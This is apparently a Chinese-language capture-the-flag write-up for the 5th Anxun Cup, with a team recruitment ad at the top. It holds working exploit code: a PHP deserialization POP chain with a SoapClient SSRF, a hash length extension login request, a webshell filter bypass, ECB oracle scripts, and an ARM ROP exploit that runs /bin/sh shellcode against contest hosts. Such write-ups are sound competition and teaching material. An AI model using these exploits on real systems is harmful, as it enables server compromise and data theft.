第五届安洵杯 WriteUp by Mini-Venom(招新)

百家 作者:Chamd5安全团队 2022-11-28 10:28:00

招新小广告
CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新
IOT+Car+工控+样本分析多个组招人
有意向的师傅请联系邮箱admin@chamd5.org(带上简历和想加入的小组)

Web

babyphp

解题思路
题目给了源代码:

// index.php
<?php
//something in flag.php


class A
{
    public $a;
    public $b;


    public function __wakeup()
    {
        $this->a = "babyhacker";
    }


    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}


class B
{
    public $a;
    public $b;
    public $k;


    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}


class C
{
    public $a;
    public $c;


    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            $tmp = array(reset($_SESSION), $this->a);
            call_user_func($tmp);
        }
    }
}



if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

//flag.php
<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="63127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
    echo "only localhost!!";
}

看到flag.php基本可以确定是SSRF了,既然是php的SSRF而且还有反序列化,一下子锁定SoapClient这个类。

index.php的反序列化链很好找,调用栈大概是这样子:

中间需要绕过两个判断,第一个是:

if (isset($this->a) && $this->a == md5($this->a))

找一个md5运算前后开头都是0e的值就行了,比如0e215962017。 第二个绕过是A类的__wakeup函数,这个控制序列化后属性和原来的数量不同即可。

$ser_str = str_replace('O:1:"A":2''O:1:"A":3'$ser_str);

但是这样还是不能拿到flag,题目里面还有这么一段代码:

if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}

既然session可控,而且还给了ini_set函数,那就想到php的session反序列化,配合SoapClient类打一个SSRF,访问flag.php 那首先写一个ssrf.php

<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag2333\r\n",
    'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|".urlencode($a);
将反序列化的值保存到sess文件里:

然后改变php反序列化引擎为php_serialize,以便触发session反序列化

使用原本的pop链触发session反序列化

最后输出session的值

下面是全部的代码
//exp.php
<?php
class A
{
    public $a;
    public $b;
    function __construct(){
        $this->a = "0e215962017";
        $this->b = new C(1);
    }

}
class B
{
    public $a;
    public $b;
    public $k;
    function __construct(){
        $this->a=new C(new A());
    }
}
class C
{
    public $a;
    public $c;
    function __construct($class){
        $this->a = "SoapClient";
        $this->c = $class;
    }
}
$exp = new B();
$ser_str = serialize($exp);
$ser_str = str_replace('O:1:"A":2''O:1:"A":3'$ser_str);
echo $ser_str;


// ssrf.php
<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag2333\r\n",
    'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|".urlencode($a);

EZ_JS

解题思路 

页面提示:

<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

联想到哈希拓展长度攻击

然后登录

POST /index HTTP/1.1
Host: 47.108.29.107:23333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://47.108.29.107:23333
Connection: close
Referer: http://47.108.29.107:23333/
Cookie: hash=ed63246fb602056fee4a7ec886d0a3c2
Upgrade-Insecure-Requests: 1

pwd=123&userid=Admin

登录成功后提示infoflllllag 页面,访问后得到源代码:

var express = require('express');
var router = express.Router();
const isObject = obj = >obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) = >{
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

const clone = (a) = >{
    return merge({},
    a);
}
router.get('/',
function(req, res, next) {
    if (req.flag == "flag") {
        flag;
        res.send('flag?????????????');
    }
    res.render('info');
});
router.post('/', express.json(),
function(req, res) {
    var str = req.body.id;
    var obj = JSON.parse(str);
    req.cookies.id = clone(obj);
    res.render('info');
});
module.exports = router;
后面改成了公用环境就去写了个监控脚本,因为一般做的原型链污染的题是第一次构造payload访问进行污染,第二次才是执行。就写了个监控内容的脚本挂着了,分别监控了/,/infoflllllag,/Cookie 。不知道题目错误还是上车了:在/infoflllllag页面弄到了flag

脚本内容:

import requests
url1 = "http://47.108.29.107:23333/infoflllllag"
url2 = "http://47.108.29.107:23333/Cookie"
url3 = "http://47.108.29.107:23333/"
with open("/1.txt""a") as file:
   while True:
      talk  = requests.get(url1)
      talk2 = requests.get(url2)
      talk3 = requests.get(url3)
      file.write(str(talk.text) + "\n")
      file.write(str(talk2.text) + "\n")
      file.write(str(talk3.text) + "\n")
监控脚本生成的文件1.txt发群里了,cat 1.txt | grep "D0g3"| more的执行结果:

eazyupload

解题思路
1.发现可一上传php文件并且可执行

2.对一句话木马的@和$符号进行了过来 想想能不能通过上传一个一句话木马base64编码的文件,然后上传一个解一句话木马php的文件

可以直接上传phpinfo执行,disable_functions里ban了一大堆

利用字符串转义

def hex_payload(payload):
     res_payload = ''
     for i in payload:
        i = "\\x" + hex(ord(i))[2:]
        res_payload += i
     print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))
if __name__ == "__main__":
    payload = input("Input payload: ")
    hex_payload(payload)



能够读取文件后使用DirectoryIterator类来寻找flag在哪:

找到后用file_get_contents来读flag:

Misc

GumpKing

解题思路 

CE修改分数

little_thief

解题思路

提取出压缩包secret.zip

压缩包密码:s1r_Th1s_k3y

通过wbstego将flag.html中隐写的数据提取,可得到flag

Crypto

Cry1

解题思路

package main
import (
   "crypto/sha256"
   "fmt"
   "time"
)
var (
   chars  = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789" // A-Z a-z 0-9
   tail   = "fuWhjDPmS79bNGOS"                                                         // 原字符串的尾部
   result = "e9015208236cb20c50d1d04fe11c9cf55dd8365d9410194c283c5100e3bf82d8"         // hash
)
func sha(head string) {
   h := sha256.New()
   h.Write([]byte(head + tail))
   str := fmt.Sprintf("%x", h.Sum(nil))
   if str == result {
      fmt.Println(head)
   }
}
func main() {
   start := time.Now()
   for _, ch1 := range chars {
      for _, ch2 := range chars {
         for _, ch3 := range chars {
            for _, ch4 := range chars {
               sha(string(ch1) + string(ch2) + string(ch3) + string(ch4))
            }
         }
      }
   }
   end := time.Since(start)
   fmt.Println(end)
}

Cry2

解题思路

from pwn import *
from hashlib import sha256
import string
from itertools import product
context.log_level = "info"

ip = "120.78.131.38"
port = 10086


io = remote(ip,port)

def PoW():
    io.recvuntil(b"SHA256(XXXX + ")
    suffix = io.recv(16).decode()
    io.recvuntil(b"):")
    target = io.recv(64).decode()
    print(suffix)
    print(target)
    io.recvline()
    letters = string.ascii_letters + string.digits
    for i in product(letters,repeat=4):
        prefix = ''.join(i)
        if sha256((prefix+suffix).encode()).hexdigest() == target:
            io.sendafter(b"Give Me XXXX:\n",prefix.encode())
            break
def encrypt(data):
    io.sendafter(b"You can input anything:\n",data.encode())
    io.recvuntil(b"Here is your cipher: b'")
    cipher = io.recvline()[:-2].decode().strip()
    return cipher


PoW()
cipher = bytes.fromhex(encrypt("_"))

flag2 = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}"
for i in range(16):
    for char in chars:
        payload = "0"*8+"0"*(15-i)+"".join(flag2)
        payload = payload+char+"0"*(15-i)
        c = encrypt(payload)
        p1,p2 = c[32:64],c[64:96]
        if p1 == p2:
            flag2 += char
            break
    print(flag2)
from Crypto.Cipher import AES
# key = flag2
key = "IDl8FuWPu01RHZt}"
def decrypt(key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.decrypt(message)
flag = decrypt(key.encode(),cipher)
print(flag.replace(b"_",b""))
io.close()
# D0g3{o7sIDl8FuWPu01RHZt}

Cry3

解题思路

from pwn import *
from hashlib import sha256
import string
from itertools import product
context.log_level = "DEBUG"

ip = "120.78.131.38"
port = 10010


io = remote(ip,port)

def PoW():
    io.recvuntil(b"SHA256(XXXX + ")
    suffix = io.recv(16).decode()
    io.recvuntil(b"):")
    target = io.recv(64).decode()
    print(suffix)
    print(target)
    io.recvline()
    letters = string.ascii_letters + string.digits
    for i in product(letters,repeat=4):
        prefix = ''.join(i)
        if sha256((prefix+suffix).encode()).hexdigest() == target:
            io.sendafter(b"Give Me XXXX:\n",prefix.encode())
            break
def PoW2():
    io.recvuntil("You must prove your identity to enter the palace ")
    auth = io.recvline().decode().strip()
    mid = xor(bytes.fromhex(auth),b"Whitfield__Diffi")
    payload = b"Whitfield__Diffie\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f"+mid+b"e"
    io.sendafter(b"--> ",payload)
    
PoW()
PoW2()
io.recvuntil(b"Flag has been encrypted by Diffie\n")
n, e1, e2, e3, c1, c2, c3 = eval(io.recvall().decode().strip())

from Crypto.Util.number import *

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def attack(e1,e2,e3,c1,c2,c3,n):
    E0,a,b = egcd(e1,e2)
    if a<0:
        a = - a
        c1 =  inverse(c1, n)
    elif b<0:
        b = - b
        c2 = inverse(c2, n)
    cc1=(pow(c1,a,n)*pow(c2,b,n)) % n

    E1,a,b = egcd(e1,e3)

    if a<0:
        a = - a
        c1 =  inverse(c1, n)
    elif b<0:
        b = - b
        c3 = inverse(c3, n)
    cc2=(pow(c1,a,n)*pow(c3,b,n)) % n
    _,a,b = egcd(E0,E1)

    if a<0:
        a = - a
        cc1 =  inverse(cc1, n)
    elif b<0:
        b = - b
        cc2 = inverse(cc2, n)
    m=(pow(cc1,a,n)*pow(cc2,b,n)) % n
    print(long_to_bytes(m))


# 多试几次 attack(e1,e2,e3,c1,c2,c3,n)

io.close()

# D0g3{New_3ra_@f_PK_Crypt0graphy_1976}

Pwn

babyarm

解题思路这个地方对输入的字符进行base64加密,然后对比进入comment返回gadget可以劫持 绕过的exp:

from pwn import *
r=remote('47.108.29.107',10059)
payload=b's1mpl3Dec0d4r'
r.sendlineafter('msg>',payload)
print(r.recv())
print(r.recv())
#在这加返回地址,构造rop
payload=b''
r.sendlineafter('comment> ',payload)
 因为是qemu启动的赛题不是真机,即使题目所给的二进制文件开了NX和PIE保护,也只是对真机环境奏效,而在qemu中跑的时候,仍然相当于没有这些保护
最终EXP:
from pwn import *
context.binary = "./chall"
#r=process(["qemu-arm", "-g", "8888", "./chall"])
r=remote("47.108.29.107",10059)
elf=ELF('./chall')
payload='s1mpl3Dec0d4r'
r.sendlineafter('msg>',payload)
payload = 'a'*0x28 + p32(elf.bss() + 0x2c) + p32(0x10C00)
r.sendlineafter('comment>',payload)
 
shellcode = asm('''
    add r0, pc, #12
    mov r1, #0
    mov r2, #0
    mov r7, #11
    svc 0
    .ascii "/bin/sh\\0"
'
'')

payload =shellcode.ljust(0x2c, b'\x00') + p32(elf.bss())
print(payload)
r.send(payload)
r.interactive()

Reverse

reee

花指令+rc4 只有一个脏字节,nop掉即可cyberchef一把梭d0g3{This_15_FindWind0w}

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接